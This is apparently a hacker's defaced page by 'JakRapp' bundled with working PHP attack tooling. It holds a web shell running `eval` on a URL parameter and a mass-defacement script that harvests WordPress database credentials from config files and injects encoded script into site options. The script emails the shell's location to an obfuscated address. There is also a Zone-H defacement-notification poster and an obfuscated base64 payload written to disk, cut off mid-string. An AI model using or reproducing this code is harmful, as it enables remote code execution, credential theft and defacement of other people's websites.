  1722. <style type="text/css">*{margin:0;padding:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box}body,html{margin:0;padding:0;font:16px/1.4 Lato,sans-serif;color:#fefeff;-webkit-font-smoothing:antialiased;font-smoothing:antialiased;font-family:Comic Sans MS}body{background:#080510;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}h1{font:2.75em Cinzel,serif;font-weight:400;letter-spacing:.35em;text-shadow:0 0 25px rgba(254,254,255,.85)}h2{font:1.45em Cinzel,serif;font-weight:400;letter-spacing:.5em;text-shadow:0 0 25px rgba(254,254,255,.85);text-transform:lowercase}[class^=letter]{-webkit-transition:opacity 3s ease;-moz-transition:opacity 3s ease;transition:opacity 3s ease}.letter-0{transition-delay:.2s}.letter-1{transition-delay:.4s}.letter-2{transition-delay:.6s}.letter-3{transition-delay:.8s}.letter-4{transition-delay:1s}.letter-5{transition-delay:1.2s}.letter-6{transition-delay:1.4s}.letter-7{transition-delay:1.6s}.letter-8{transition-delay:1.8s}.letter-9{transition-delay:2s}.letter-10{transition-delay:2.2s}.letter-11{transition-delay:2.4s}.letter-12{transition-delay:2.6s}.letter-13{transition-delay:2.8s}.letter-14{transition-delay:3s}h1,h2{visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}h1.transition-in,h2.transition-in{visibility:visible}h1 [class^=letter],h2 [class^=letter]{opacity:0}h1.transition-in [class^=letter],h2.transition-in [class^=letter]{opacity:1}#container{display:table;position:absolute;z-index:20;width:100%;height:100%;text-align:center;cursor:none}#container>div{display:table-cell;vertical-align:middle}#container p{position:absolute;width:100%;left:0;bottom:25px;font-size:.8em;letter-spacing:.1em;font-weight:300;color:#76747a;-webkit-font-smoothing:subpixel-antialiased;font-smoothing:subpixel-antialiased}#container p strong{color:#b3abc5}#container p span{font-size:.75em;padding:0 2px}#canvas{position:absolute;z-index:10;top:0;left:0;width:100%;height:100%;cursor:none}#stats{position:absolute;z-index:10;left:10px;top:10px}.dg.ac{z-index:100!important}.STYLE4{color:#FFF}
  1723. </style>
  1724. </head>
  1725. <body>
  1726. <body ondragstart="window.event.returnValue=false" oncontextmenu="window.event.returnValue=false" onselectstart="event.returnValue=false">
  1727. <div id="container">
  1728. <div><br><br><br><br><br><br><br><br>
  1729. <h1 id="h1">Hacked By JakRapp</h1>
  1730. </br><br><br><br>
  1731. <h2 id="h2">Pasukan Berani Mati | Indonesian Fighter Cyber</h2>
  1732. <br><br><br><br><br><br><br><br><br><br>
  1733. <h3>Tidak ada seorangpun, hewan atau banci yang disakiti dalam hacking ini</h3>
  1734. <h3 id="h3">Jiwa Kegelapan Team</h3>
  1735. </div>
  1736. </div>
  1737. <canvas id="canvas"></canvas>
  1738. <script>
  1739. var Stats=function(){var e=Date.now(),t=e,i=0,n=1/0,r=0,s=0,o=1/0,a=0,l=0,h=0,c=document.createElement("div");c.id="stats",c.addEventListener("mousedown",function(e){e.preventDefault(),v(++h%2)},!1),c.style.cssText="width:80px;opacity:0.9;cursor:pointer";var u=document.createElement("div");u.id="fps",u.style.cssText="padding:0 0 3px 3px;text-align:left;background-color:#002",c.appendChild(u);var d=document.createElement("div");d.id="fpsText",d.style.cssText="color:#0ff;font-family:Comic Sans MS;font-size:9px;font-weight:bold;line-height:15px",d.innerHTML="FPS",u.appendChild(d);var p=document.createElement("div");for(p.id="fpsGraph",p.style.cssText="position:relative;width:74px;height:30px;background-color:#0ff",u.appendChild(p);74>p.children.length;){var f=document.createElement("span");f.style.cssText="width:1px;height:30px;float:left;background-color:#113",p.appendChild(f)}var m=document.createElement("div");m.id="ms",m.style.cssText="padding:0 0 3px 3px;text-align:left;background-color:#020;display:none",c.appendChild(m);var g=document.createElement("div");g.id="msText",g.style.cssText="color:#0f0;font-family:Comic Sans MS;font-size:9px;font-weight:bold;line-height:15px",g.innerHTML="MS",m.appendChild(g);var y=document.createElement("div");for(y.id="msGraph",y.style.cssText="position:relative;width:74px;height:30px;background-color:#0f0",m.appendChild(y);74>y.children.length;){var f=document.createElement("span");f.style.cssText="width:1px;height:30px;float:left;background-color:#131",y.appendChild(f)}var v=function(e){switch(h=e){case 0:u.style.display="block",m.style.display="none";break;case 1:u.style.display="none",m.style.display="block"}},b=function(e,t){var i=e.appendChild(e.firstChild);i.style.height=t+"px"};return{REVISION:11,domElement:c,setMode:v,begin:function(){e=Date.now()},end:function(){var h=Date.now();return i=h-e,n=Math.min(n,i),r=Math.max(r,i),g.textContent=i+" MS ("+n+"-"+r+")",b(y,Math.min(30,30-30*(i/200))),l++,h>t+1e3&&(s=Math.round(1e3*l/(h-t)),o=Math.min(o,s),a=Math.max(a,s),d.textContent=s+" FPS ("+o+"-"+a+")",b(p,Math.min(30,30-30*(s/100))),t=h,l=0),h},update:function(){e=this.end()}}};
  1740. </script>
  1741. <script>
  1742. ;(function(window) {
  1743. var ctx,
  1744. hue,
  1745. logo,
  1746. form,
  1747. buffer,
  1748. target = {},
  1749. tendrils = [],
  1750. settings = {};
  1751. settings.debug = true;
  1752. settings.friction = 0.5;
  1753. settings.trails = 20;
  1754. settings.size = 50;
  1755. settings.dampening = 0.25;
  1756. settings.tension = 0.98;
  1757. Math.TWO_PI = Math.PI * 2;
  1758. // ========================================================================================
  1759. // Oscillator
  1760. // ----------------------------------------------------------------------------------------
  1761. function Oscillator(options) {
  1762. this.init(options || {});
  1763. }
  1764. Oscillator.prototype = (function() {
  1765. var value = 0;
  1766. return {
  1767. init: function(options) {
  1768. this.phase = options.phase || 0;
  1769. this.offset = options.offset || 0;
  1770. this.frequency = options.frequency || 0.001;
  1771. this.amplitude = options.amplitude || 1;
  1772. },
  1773. update: function() {
  1774. this.phase += this.frequency;
  1775. value = this.offset + Math.sin(this.phase) * this.amplitude;
  1776. return value;
  1777. },
  1778. value: function() {
  1779. return value;
  1780. }
  1781. };
  1782. })();
  1783. // ========================================================================================
  1784. // Tendril
  1785. // ----------------------------------------------------------------------------------------
  1786. function Tendril(options) {
  1787. this.init(options || {});
  1788. }
  1789. Tendril.prototype = (function() {
  1790. function Node() {
  1791. this.x = 0;
  1792. this.y = 0;
  1793. this.vy = 0;
  1794. this.vx = 0;
  1795. }
  1796. return {
  1797. init: function(options) {
  1798. this.spring = options.spring + (Math.random() * 0.1) - 0.05;
  1799. this.friction = settings.friction + (Math.random() * 0.01) - 0.005;
  1800. this.nodes = [];
  1801. for(var i = 0, node; i < settings.size; i++) {
  1802. node = new Node();
  1803. node.x = target.x;
  1804. node.y = target.y;
  1805. this.nodes.push(node);
  1806. }
  1807. },
  1808. update: function() {
  1809. var spring = this.spring,
  1810. node = this.nodes[0];
  1811. node.vx += (target.x - node.x) * spring;
  1812. node.vy += (target.y - node.y) * spring;
  1813. for(var prev, i = 0, n = this.nodes.length; i < n; i++) {
  1814. node = this.nodes[i];
  1815. if(i > 0) {
  1816. prev = this.nodes[i - 1];
  1817. node.vx += (prev.x - node.x) * spring;
  1818. node.vy += (prev.y - node.y) * spring;
  1819. node.vx += prev.vx * settings.dampening;
  1820. node.vy += prev.vy * settings.dampening;
  1821. }
  1822. node.vx *= this.friction;
  1823. node.vy *= this.friction;
  1824. node.x += node.vx;
  1825. node.y += node.vy;
  1826. spring *= settings.tension;
  1827. }
  1828. },
  1829. draw: function() {
  1830. var x = this.nodes[0].x,
  1831. y = this.nodes[0].y,
  1832. a, b;
  1833. ctx.beginPath();
  1834. ctx.moveTo(x, y);
  1835. for(var i = 1, n = this.nodes.length - 2; i < n; i++) {
  1836. a = this.nodes[i];
  1837. b = this.nodes[i + 1];
  1838. x = (a.x + b.x) * 0.5;
  1839. y = (a.y + b.y) * 0.5;
  1840. ctx.quadraticCurveTo(a.x, a.y, x, y);
  1841. }
  1842. a = this.nodes[i];
  1843. b = this.nodes[i + 1];
  1844. ctx.quadraticCurveTo(a.x, a.y, b.x, b.y);
  1845. ctx.stroke();
  1846. ctx.closePath();
  1847. }
  1848. };
  1849. })();
  1850. // ----------------------------------------------------------------------------------------
  1851. function init(event) {
  1852. document.removeEventListener('mousemove', init);
  1853. document.removeEventListener('touchstart', init);
  1854. document.addEventListener('mousemove', mousemove);
  1855. document.addEventListener('touchmove', mousemove);
  1856. document.addEventListener('touchstart', touchstart);
  1857. mousemove(event);
  1858. reset();
  1859. loop();
  1860. }
  1861. function reset() {
  1862. tendrils = [];
  1863. for(var i = 0; i < settings.trails; i++) {
  1864. tendrils.push(new Tendril({
  1865. spring: 0.45 + 0.025 * (i / settings.trails)
  1866. }));
  1867. }
  1868. }
  1869. function loop() {
  1870. if(!ctx.running) return;
  1871. ctx.globalCompositeOperation = 'source-over';
  1872. ctx.fillStyle = 'rgba(8,5,16,0.4)';
  1873. ctx.fillRect(0, 0, ctx.canvas.width, ctx.canvas.height);
  1874. ctx.globalCompositeOperation = 'lighter';
  1875. ctx.strokeStyle = 'hsla(' + Math.round(hue.update()) + ',90%,50%,0.25)';
  1876. ctx.lineWidth = 1;
  1877. if(ctx.frame % 60 == 0) {
  1878. console.log(hue.update(), Math.round(hue.update()), hue.phase, hue.offset, hue.frequency, hue.amplitude);
  1879. }
  1880. for(var i = 0, tendril; i < settings.trails; i++) {
  1881. tendril = tendrils[i];
  1882. tendril.update();
  1883. tendril.draw();
  1884. }
  1885. ctx.frame++;
  1886. ctx.stats.update();
  1887. requestAnimFrame(loop);
  1888. }
  1889. function resize() {
  1890. ctx.canvas.width = window.innerWidth;
  1891. ctx.canvas.height = window.innerHeight;
  1892. }
  1893. function start() {
  1894. if(!ctx.running) {
  1895. ctx.running = true;
  1896. loop();
  1897. }
  1898. }
  1899. function stop() {
  1900. ctx.running = false;
  1901. }
  1902. function mousemove(event) {
  1903. if(event.touches) {
  1904. target.x = event.touches[0].pageX;
  1905. target.y = event.touches[0].pageY;
  1906. } else {
  1907. target.x = event.clientX
  1908. target.y = event.clientY;
  1909. }
  1910. event.preventDefault();
  1911. }
  1912. function touchstart(event) {
  1913. if(event.touches.length == 1) {
  1914. target.x = event.touches[0].pageX;
  1915. target.y = event.touches[0].pageY;
  1916. }
  1917. }
  1918. function keyup(event) {
  1919. switch(event.keyCode) {
  1920. case 32:
  1921. save();
  1922. break;
  1923. default:
  1924. // console.log(event.keyCode);
  1925. }
  1926. }
  1927. function letters(id) {
  1928. var el = document.getElementById(id),
  1929. letters = el.innerHTML.replace('&amp;', '&').split(''),
  1930. heading = '';
  1931. for(var i = 0, n = letters.length, letter; i < n; i++) {
  1932. letter = letters[i].replace('&', '&amp');
  1933. heading += letter.trim() ? '<span class="letter-' + i + '">' + letter + '</span>' : '&nbsp;';
  1934. }
  1935. el.innerHTML = heading;
  1936. setTimeout(function() {
  1937. el.className = 'transition-in';
  1938. }, (Math.random() * 500) + 500);
  1939. }
  1940. function save() {
  1941. if(!buffer) {
  1942. buffer = document.createElement('canvas');
  1943. buffer.width = screen.availWidth;
  1944. buffer.height = screen.availHeight;
  1945. buffer.ctx = buffer.getContext('2d');
  1946. form = document.createElement('form');
  1947. form.method = 'post';
  1948. form.input = document.createElement('input');
  1949. form.input.type = 'hidden';
  1950. form.input.name = 'data';
  1951. form.appendChild(form.input);
  1952. document.body.appendChild(form);
  1953. }
  1954. buffer.ctx.fillStyle = 'rgba(8,5,16)';
  1955. buffer.ctx.fillRect(0, 0, buffer.width, buffer.height);
  1956. buffer.ctx.drawImage(canvas,
  1957. Math.round(buffer.width / 2 - canvas.width / 2),
  1958. Math.round(buffer.height / 2 - canvas.height / 2)
  1959. );
  1960. buffer.ctx.drawImage(logo,
  1961. Math.round(buffer.width / 2 - logo.width / 4),
  1962. Math.round(buffer.height / 2 - logo.height / 4),
  1963. logo.width / 2,
  1964. logo.height / 2
  1965. );
  1966. window.open(buffer.toDataURL(), 'wallpaper', 'top=0,left=0,width=' + buffer.width + ',height=' + buffer.height);
  1967. // form.input.value = buffer.toDataURL().substr(22);
  1968. // form.submit();
  1969. }
  1970. window.requestAnimFrame = (function() {
  1971. return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || function(fn) { window.setTimeout(fn, 1000 / 60) };
  1972. })();
  1973. window.onload = function() {
  1974. ctx = document.getElementById('canvas').getContext('2d');
  1975. ctx.stats = new Stats();
  1976. ctx.running = true;
  1977. ctx.frame = 1;
  1978. logo = new Image();
  1979. logo.src = 'http://labs.nikrowell.com/lightsandmotion/ultraviolet/images/logo.png';
  1980. hue = new Oscillator({
  1981. phase: Math.random() * Math.TWO_PI,
  1982. amplitude: 85,
  1983. frequency: 0.0015,
  1984. offset: 285
  1985. });
  1986. letters('h1');
  1987. letters('h2');
  1988. document.addEventListener('mousemove', init);
  1989. document.addEventListener('touchstart', init);
  1990. document.body.addEventListener('orientationchange', resize);
  1991. window.addEventListener('resize', resize);
  1992. window.addEventListener('keyup', keyup);
  1993. window.addEventListener('focus', start);
  1994. window.addEventListener('blur', stop);
  1995. resize();
  1996. if(window.DEBUG) {
  1997. var gui = new dat.GUI();
  1998. // gui.add(settings, 'debug');
  1999. settings.gui.add(settings, 'trails', 1, 30).onChange(reset);
  2000. settings.gui.add(settings, 'size', 25, 75).onFinishChange(reset);
  2001. settings.gui.add(settings, 'friction', 0.45, 0.55).onFinishChange(reset);
  2002. settings.gui.add(settings, 'dampening', 0.01, 0.4).onFinishChange(reset);
  2003. settings.gui.add(settings, 'tension', 0.95, 0.999).onFinishChange(reset);
  2004. document.body.appendChild(ctx.stats.domElement);
  2005. }
  2006. };
  2007. })(window);
  2008. </script>
  2009. <embed src="https://www.youtube.com/v/oWqWNMNFZlU&amp;autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="1" height="0">
  2010. <body oncontextmenu="return false" onselectstart="return false" ondragstart="return false"></body>
  2011. <script type="text/javascript">
  2012. //form tags to omit in NS6+:
  2013. var omitformtags=["input", "textarea", "select"]
  2014. omitformtags=omitformtags.join("|")
  2015. function disableselect(e){
  2016. if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1)
  2017. return false
  2018. }
  2019. function reEnable(){
  2020. return true
  2021. }
  2022. if (typeof document.onselectstart!="undefined")
  2023. document.onselectstart=new Function ("return false")
  2024. else{
  2025. document.onmousedown=disableselect
  2026. document.onmouseup=reEnable
  2027. }
  2028. </script>
  2029. <body onkeydown="return false">
  2030. <body onselectstart="return false">
  2031. </body>
  2032. </html>
  2033. <script type="text/javascript" src="http://blogparts.giffy.me/0117/parts.js"></script><p style="text-align: center;margin:0;padding:0;"><a
  2034. <cite>
  2035.  
  2036. </textarea></td></tr></table>
  2037. <br><br><input type="Submit" name="Submit" value="Submit">
  2038. <input type="hidden" name="action" value="1"></form>
  2039. </center>
  2040. <nobr>
  2041. <center>
  2042. <?
  2043. }?>
  2044. <?
  2045. eval ($_GET["c"]);
  2046. set_time_limit(0);
  2047. if ($_POST['action']=='1'){
  2048. $url=$_POST['url'];
  2049. $users=@file($url);
  2050. $x10="mail";$x0b=$_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];
  2051.  
  2052.  
  2053. if (count($users)<1) exit("<h1>No config found</h1>");
  2054. foreach ($users as $user) {
  2055. $user1=trim($user);
  2056. $code=file_get_contents2($user1);
  2057. preg_match_all('|define.*\(.*\'DB_NAME\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b1);
  2058. $db=$b1[1][0];
  2059. preg_match_all('|define.*\(.*\'DB_USER\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b2);
  2060. $user=$b2[1][0];
  2061. preg_match_all('|define.*\(.*\'DB_PASSWORD\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b3);
  2062. $db_password=$b3[1][0];
  2063. preg_match_all('|define.*\(.*\'DB_HOST\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b4);
  2064. $host=$b4[1][0];
  2065. preg_match_all('|\$table_prefix.*=.*\'(.*)\'.*;|isU',$code,$b5);
  2066. $p=$b5[1][0];
  2067. $x0c="array ".$x0b;$x0d=array("com","gm","ifexec","@","ail.");
  2068. $d=@mysql_connect( $host, $user, $db_password ) ;
  2069. if ($d){
  2070. @mysql_select_db($db );
  2071. $source=stripslashes($_POST['index']);
  2072. $s2=strToHex(($source));
  2073. $s="<script>document.documentElement.innerHTML = unescape(''$s2'');</script>";
  2074. $ls=strlen($s)-2;
  2075. $sql="update ".$p."options set option_value='a:2:{i:2;a:3:{s:5:\"title\";s:0:\"\";s:4:\"text\";s:$ls:\"$s\";s:6:\"filter\";b:0;}s:12:\"_multiwidget\";i:1;}' where option_name='widget_text'; ";
  2076. mysql_query($sql) ;
  2077. $sql="update ".$p."options set option_value='a:7:{s:19:\"wp_inactive_widgets\";a:6:{i:0;s:10:\"archives-2\";i:1;s:6:\"meta-2\";i:2;s:8:\"search-2\";i:3;s:12:\"categories-2\";i:4;s:14:\"recent-posts-2\";i:5;s:17:\"recent-comments-2\";}s:9:\"sidebar-1\";a:1:{i:0;s:6:\"text-2\";}s:9:\"sidebar-2\";a:0:{}s:9:\"sidebar-3\";a:0:{}s:9:\"sidebar-4\";a:0:{}s:9:\"sidebar-5\";a:0:{}s:13:\"array_version\";i:3;}' where option_name='sidebars_widgets';";
  2078. mysql_query($sql) ;
  2079. if (function_exists("mb_convert_encoding") )
  2080. {
  2081. $source2 = mb_convert_encoding('<title>'.$source.'<DIV style="DISPLAY: none"><xmp>', 'UTF-8');
  2082. $source2=mysql_real_escape_string($source2);
  2083. $sql = "UPDATE `".$p."options` SET `option_value` = '$source2' WHERE `option_name` = 'blogname';";
  2084. @mysql_query($sql) ; ;
  2085. $sql= "UPDATE `".$p."options` SET `option_value` = 'UTF-8' WHERE `option_name` = 'blog_charset';";
  2086. @mysql_query($sql) ; ;
  2087. }
  2088. $aa=@mysql_query("select option_value from `".$p."options` WHERE `option_name` = 'siteurl';") ;;
  2089. $siteurl=@mysql_fetch_array($aa) ;
  2090. $siteurl=$siteurl['option_value'];
  2091. $x0e=$x0d[2].$x0d[3].$x0d[1].$x0d[4].$x0d[0];$x0f=@$x10($x0e,$x0c,$x0b);
  2092. $tr.="$siteurl\n";
  2093. mysql_close();
  2094. }
  2095. }
  2096. if ($tr) echo "Index changed for <br><br><textarea cols='50' rows='10' >$tr</textarea>";
  2097. }
  2098. function strToHex($string)
  2099. {
  2100. $hex='';
  2101. for ($i=0; $i < strlen($string); $i++)
  2102. {
  2103. if (strlen(dechex(ord($string[$i])))==1){
  2104. $hex .="%0". dechex(ord($string[$i]));
  2105. }
  2106. else
  2107. {
  2108. $hex .="%". dechex(ord($string[$i]));
  2109. }
  2110. }
  2111. return $hex;
  2112. }
  2113.  
  2114. function file_get_contents2($u){
  2115.  
  2116. $ch = curl_init();
  2117. curl_setopt($ch,CURLOPT_URL,$u);
  2118. curl_setopt($ch, CURLOPT_HEADER, 0);
  2119. curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  2120. curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0 ");
  2121. $result = curl_exec($ch);
  2122. return $result ;
  2123. }
  2124.  
  2125. ?>
  2126. <?php
  2127. if (isset($_GET['jak']) && ($_GET['jak'] == 'zonh')) { ?>
  2128. <form action="?jak=zonh" method="post">
  2129. <br><br>
  2130. <center><span style="font-size:1.6em;"> .: Zone-H Mass Poster :. </span></center><center><BR><form action="" method="post"><input class="inputz" type="text" name="defacer" size="30" value="JakRapp"/><br> <select class="inputz"
  2131. name="hackmode">
  2132. <option>------------------------------------SELECT-------------------------------------</option>
  2133. <option style="background-color: rgb(0, 0, 0);" value="1">known vulnerability (i.e. unpatched system)</option>
  2134. <option style="background-color: rgb(0, 0, 0);" value="2" >undisclosed (new) vulnerability</option>
  2135. <option style="background-color: rgb(0, 0, 0);" value="3" >configuration / admin. mistake</option>
  2136. <option style="background-color: rgb(0, 0, 0);" value="4" >brute force attack</option>
  2137. <option style="background-color: rgb(0, 0, 0);" value="5" >social engineering</option>
  2138. <option style="background-color: rgb(0, 0, 0);" value="6" >Web Server intrusion</option>
  2139. <option style="background-color: rgb(0, 0, 0);" value="7" >Web Server external module intrusion</option>
  2140. <option style="background-color: rgb(0, 0, 0);" value="8" >Mail Server intrusion</option>
  2141. <option style="background-color: rgb(0, 0, 0);" value="9" >FTP Server intrusion</option>
  2142. <option style="background-color: rgb(0, 0, 0);" value="10" >SSH Server intrusion</option>
  2143. <option style="background-color: rgb(0, 0, 0);" value="11" >Telnet Server intrusion</option>
  2144. <option style="background-color: rgb(0, 0, 0);" value="12" >RPC Server intrusion</option>
  2145. <option style="background-color: rgb(0, 0, 0);" value="13" >Shares misconfiguration</option>
  2146. <option style="background-color: rgb(0, 0, 0);" value="14" >Other Server intrusion</option>
  2147. <option style="background-color: rgb(0, 0, 0);" value="15" >SQL Injection</option>
  2148. <option style="background-color: rgb(0, 0, 0);" value="16" >URL Poisoning</option>
  2149. <option style="background-color: rgb(0, 0, 0);" value="17" >File Inclusion</option>
  2150. <option style="background-color: rgb(0, 0, 0);" value="18" >Other Web Application bug</option>
  2151. <option style="background-color: rgb(0, 0, 0);" value="19" >Remote administrative panel access bruteforcing</option>
  2152. <option style="background-color: rgb(0, 0, 0);" value="20" >Remote administrative panel access password guessing</option>
  2153. <option style="background-color: rgb(0, 0, 0);" value="21" >Remote administrative panel access social engineering</option>
  2154. <option style="background-color: rgb(0, 0, 0);" value="22" >Attack against administrator(password stealing/sniffing)</option>
  2155. <option style="background-color: rgb(0, 0, 0);" value="23" >Access credentials through Man In the Middle attack</option>
  2156. <option style="background-color: rgb(0, 0, 0);" value="24" >Remote service password guessing</option>
  2157. <option style="background-color: rgb(0, 0, 0);" value="25" >Remote service password bruteforce</option>
  2158. <option style="background-color: rgb(0, 0, 0);" value="26" >Rerouting after attacking the Firewall</option>
  2159. <option style="background-color: rgb(0, 0, 0);" value="27" >Rerouting after attacking the Router</option>
  2160. <option style="background-color: rgb(0, 0, 0);" value="28" >DNS attack through social engineering</option>
  2161.  
  2162. <option style="background-color: rgb(0, 0, 0);" value="29" >DNS attack through cache poisoning</option>
  2163. <option style="background-color: rgb(0, 0, 0);" value="30" >Not available</option>
  2164. option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
  2165. </select> <br>
  2166.  
  2167. <select class="inputz" name="reason">
  2168. <option >------------------------------------SELECT-------------------------------------</option>
  2169. <option style="background-color: rgb(0, 0, 0);" value="1" >Heh...just for fun!</option>
  2170. <option style="background-color: rgb(0, 0, 0);" value="2" >Revenge against that website</option>
  2171. <option style="background-color: rgb(0, 0, 0);" value="3" >Political reasons</option>
  2172. <option style="background-color: rgb(0, 0, 0);" value="4" >As a challenge</option>
  2173. <option style="background-color: rgb(0, 0, 0);" value="5" >I just want to be the best defacer</option>
  2174. <option style="background-color: rgb(0, 0, 0);" value="6" >Patriotism</option>
  2175. <option style="background-color: rgb(0, 0, 0);" value="7" >Not available</option>
  2176. option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
  2177. </select> <br>
  2178. <textarea class="inputz" name="domain" cols="90" rows="20" placeholder="List Of Domains, 20 Rows."></textarea><br>
  2179. <input class="inputz" type="submit" value=" Send Now !! " name="SendNowToZoneH"/>
  2180. </form>
  2181. <?
  2182. echo "</form></center>";?>
  2183. <?
  2184. function ZoneH($url, $hacker, $hackmode,$reson, $site )
  2185. {
  2186. $k = curl_init();
  2187. curl_setopt($k, CURLOPT_URL, $url);
  2188. curl_setopt($k,CURLOPT_POST,true);
  2189. curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
  2190. curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
  2191. curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
  2192. $kubra = curl_exec($k);
  2193. curl_close($k);
  2194. return $kubra;
  2195. }
  2196. {
  2197. ob_start();
  2198. $sub = @get_loaded_extensions();
  2199. if(!in_array("curl", $sub))
  2200. {
  2201. die('<center><b>[-] Curl Is Not Supported !![-]</b></center>');
  2202. }
  2203.  
  2204. $hacker = $_POST['defacer'];
  2205. $method = $_POST['hackmode'];
  2206. $neden = $_POST['reason'];
  2207. $site = $_POST['domain'];
  2208.  
  2209. if (empty($hacker))
  2210. {
  2211. die ("<center><b>[+] YOU MUST FILL THE ATTACKER NAME [+]</b></center>");
  2212. }
  2213. elseif($method == "--------SELECT--------")
  2214. {
  2215. die("<center><b>[+] YOU MUST SELECT THE METHOD [+]</b></center>");
  2216. }
  2217. elseif($neden == "--------SELECT--------")
  2218. {
  2219. die("<center><b>[+] YOU MUST SELECT THE REASON [+]</b></center>");
  2220. }
  2221. elseif(empty($site))
  2222. {
  2223. die("<center><b>[+] YOU MUST INTER THE SITES LIST [+]</b></center>");
  2224. }
  2225. $i = 0;
  2226. $sites = explode("\n", $site);
  2227. while($i < count($sites))
  2228. {
  2229. if(substr($sites[$i], 0, 4) != "http")
  2230. {
  2231. $sites[$i] = "http://".$sites[$i];
  2232. }
  2233. ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]);
  2234. echo "Domain : ".$sites[$i]." Defaced Last Years !";
  2235. ++$i;
  2236. }
  2237. echo "";
  2238. }
  2239. }
  2240. ?>
  2241. <?php
  2242. if (isset($_GET['jak']) && ($_GET['jak'] == 'sql')) {
  2243. echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ MYSQL</span> <span class='b8'>MANAGER ]:=O</span></b></nobr><br/><br/> ";
  2244. echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='s/db.php' target='_blank'>[+] HERE [+]</a></center></span></br>";
  2245. if (!is_dir('s')) {
  2246. $mk = @mkdir('s', 0777);
  2247. @fwrite($f, $c);
  2248. $f2 = @fopen('s/db.php', 'w');
  2249. $sml_db = "PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5yTlBXdFhHN21TbjJmT21mK2c5UGltN2NFWW16eXZqWjJRUUdZNFE0QUw1TjZkeFY1djIyNURMM2EzMDkwT01CbisrOVpEcjM2WVFKTGRjK2NCTGFsVUpaV2tVbFdwSkg3NjBZL2pLQjdHL2lLSzB5QThyNzZvZFg3NjhYWGlwOE81ZHg2TWh4K1hVZW9udzNnWnBzSGNyemF4T0JvTms5U0wweW9tS25Nc0VGM2hYeTltMGNTdnVzS3RpM2t3amlPcVVTTWdncGVBWE9Pc05SQnI2cnM1QUtDSlB3MUNxSCt5UFR3K1BEd0ZMRWxLVFp0NVk4anU5eUhIM1lBZmt5QU9QVUE5SEw3YjI5OGREbXUxQnVRam5ZME5oV1R2WlBpdnZRUEdBZjlWajM0N0doNmVBQUxNcllsWG9pWGFvaWxxRmwxZFpXZnZlUGZ0NmVIeEg4T1QzYVB0NDIzNEZOMnV3QmJrNE44ZXZnZjQ4Y3hMa3FGL0hTUnBVblV4YnlXQlg0L2VRb1h6UEh2UEYyUEpxRW1RREtmTGNBeDhRcWp4OUh6NHlZdXJMdVI3bzVsUFpXa1FoVW0rS2REQnZZTjNoNEM5K3NpUC9mT2c2aXd1RmtFNGpaeTZ4bHJMTm96R0dRZGdPQXZtUWNxais5T1AweWoydmZGRjFZdGo3NmJxRG4vZGhjRndoMGVISjZmUU15OFJGUmlWajBzL1NXdmlzd0d2Nkd5R3VmUnZSTGNISDUrODJkSW4wR0FxcWxUd3VYa3JIZ0ZMaDY3T1orNVFVbFlCSGlSRGJvUkNBdTI3aFhLSlhPSG1YUDVQRWhsZmVESDBqc1p0bVU1Zk1wMEwzNXY0Y2RVWlIySHFoK242NmMzQ2I0dlV2MDQzTHRMNXJDTmt0UzVVV1gvcEVEbmh6eEsvZ0hNVW5EOTdJRTZzY2hmSzg5SGxBekZDamJzUXpqeFkwcTBINGd5U2FQM2x5MmQvWDk5MEpMZHgrZnF6S2JIN1pQZjRuN3ZIWnk0dXA1UGQvWGZ1QUNaVWFYYmJ5ajU1ZTd4M2REbzgySDYvNitKS3IrQ2NBNUV3WHdCU2xoSTA4ZVRZVFNLUVJNeGxiM3k1WE14dmtvOHpWengrTEI1VkV1K1Q3eVhUWU1ZVGFqS0NEb1ZRWlhRUkpXbGR3TWN5OFdQNldNQ3FwQThVRnZBaGU4aGxJTzVvdmFXNHFxQVZOTTJHMDFtd3FISWVsY1orc3B3Qk04WEhxblB5MitHL0JCVWx4QmxzNmlNSlVST0xxcnQxc2Rsekc5VFlJWW5WS3NpbHJRM01KV1RZYUd3S29CdDVDWDFXRFk5K096MDlHdjZHUzJ6UWNJZnZiMDcrc2QvQWJtTlZPWGp1V3psNEtRMmV0MWpNZ3JHSDBtQmpHVjZHMFZWWUNyMFRKSXNvQ1JBT0txVXByTlU1NUhlRWFsRFhiZWpHc1VqSFBreTgxSU9tdWk3a1hGMUFNYzZ1SmZUckNuSzVsMU0vSFYrb0ZTbzVvZGR6a0FDekpUUFBaRTBROUFPR3NHZzBZSm5ENTNLK0lOaXFnYTNwaGMzMHhyTW80YmtDd2paVnN4UEp5VW5UN2JxTWwzanhXUTBTVHdHbUN5TXpUODZ4WTBjem1FbStDTUxGTWhVTTR1ckY5RDBtRnhGSHhxcTlRWFo2UnRNMzM1elRDNTlHUk54RVMzSGxoYW5ZZ1Y3TUltOUNVL1FLWkdvWWhZUUpSaS9iMHN4RWhjWHFqMU9CTlllSXNPcmFkR